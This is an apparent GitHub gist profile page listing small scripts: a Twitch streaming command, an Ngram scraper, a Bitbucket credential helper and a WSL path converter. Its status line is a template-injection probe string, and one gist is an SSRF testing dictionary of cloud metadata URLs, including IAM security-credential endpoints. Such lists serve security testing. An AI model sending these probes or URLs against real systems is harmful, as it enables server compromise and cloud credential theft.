Skip to content

Instantly share code, notes, and snippets.

View Plazmaz's full-sized avatar
👀
’<!--${7*7}<#--{#{{!--#}#{7*7}${{7*7}}-->{{__proto__}}--}}{{this}}#set($x=7*7)$x

Dylan Katz Plazmaz

👀
’<!--${7*7}<#--{#{{!--#}#{7*7}${{7*7}}-->{{__proto__}}--}}{{this}}#set($x=7*7)$x
View GitHub Profile
### Keybase proof
I hereby claim:
* I am Plazmaz on github.
* I am dtk (https://keybase.io/dtk) on keybase.
* I have a public key whose fingerprint is 7759 0E29 7266 DB91 B8D2 4112 8BEA B0BC 4651 FEDA
To claim this, I am signing this object:
@Plazmaz
Plazmaz / Script for isitchristmas.co
Last active August 29, 2015 14:12
script for http:/isitchristmas.com. this script makes spirals around everyone and turns you into a troll face.
var radius = 2;
var i = 0;
var idx = 0;
var increment = 5;
var icon = "../emojis/trollface"
IIC.setCountry(icon);
document.onmousemove = move;
var loop = setInterval(function() {
for (var id in others) {
//console.log(id)
@Plazmaz
Plazmaz / scrape.js
Last active February 23, 2017 18:54
Extract data from Google Books Ngram Viewer(https://books.google.com/ngrams/graph)
//This can be pasted into the chrome dev console to generate a comma seperated list
//of coordinates. This is copied to your clipboard and can be pasted into a CSV.
var children = document.getElementsByClassName("y axis main")[0].children;
var scaleStr = children[children.length - 2].children[1].innerHTML;
scaleStr = scaleStr.substring(0, scaleStr.length - 1);
var scale = 413 / parseFloat(scaleStr);
var data = document.getElementsByClassName("line visible clickable main")[0].getAttribute("d");
var coords = data.substr(1).split("L")
var msg = ""
for(var i = 0; i < coords.length; i++) {
@Plazmaz
Plazmaz / stream.sh
Created May 21, 2017 00:13
Stream an image file to twitch
#! /bin/bash
IN_IMG="1.jpg"
STREAM_KEY="live_xxxxxxxxx_xxxxxxxxxxxxxx"
ffmpeg -re -loop 1 -framerate 2 -i $IN_IMG \
-f lavfi -i anullsrc=channel_layout=stereo:sample_rate=44100 \
-c:a libmp3lame \
-vcodec libx264 -pix_fmt yuv420p -maxrate 2048k -bufsize 2048k \
-framerate 30 -g 2 -strict experimental -f flv \
-strict experimental -f flv rtmp://live.twitch.tv/app/$STREAM_KEY

Keybase proof

I hereby claim:

  • I am Plazmaz on github.
  • I am plazmaz (https://keybase.io/plazmaz) on keybase.
  • I have a public key whose fingerprint is 361E 53F6 C25C 5BD6 4E0D AD43 40F2 0498 A66D C05B

To claim this, I am signing this object:

@Plazmaz
Plazmaz / gen-bitbucket-credentials.sh
Created November 7, 2017 16:59
Generate test credentials for bitbucket
#!/bin/bash
CLIENT_ID=""
CLIENT_SECRET=""
if [[ ! $1 ]]
then
echo "Please visit the following url to generate a code:"
echo "https://bitbucket.org/site/oauth2/authorize?client_id=$CLIENT_ID&response_type=code"
else
curl -X POST -u "$CLIENT_ID:$CLIENT_SECRET" \

Keybase proof

I hereby claim:

  • I am plazmaz on github.
  • I am plazmaz (https://keybase.io/plazmaz) on keybase.
  • I have a public key ASBxr7rAPgnm0QPh7SAuvPdZSIcoiHtF9wGH3uNplRZtDwo

To claim this, I am signing this object:

@Plazmaz
Plazmaz / cloud_metadata.txt
Last active July 14, 2018 21:57 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@Plazmaz
Plazmaz / arya-list.md
Last active May 30, 2019 16:24
Arya Stark's Kill List (From the Show)

Spoilers?

  • Joffrey
  • Cersei
  • Wolder Frey
  • Meryn Trant
  • Tywin Lannister
  • The Red Woman
  • Beric Dondarrion (Removed before death)
  • Thoros of Myr
  • Ilyn Payne
@Plazmaz
Plazmaz / windir.sh
Last active June 15, 2019 01:34
This is a simple function for converting windows paths (C:\Users\Test\t.txt) to their WSL equivalent (/mnt/c/Users/Test/t.txt)
# !/bin/bash
function windir() {
echo "/mnt/$1" | sed -e 's/\\\\/\//g' -e 's/\b\(.\):/\L\1/g'
}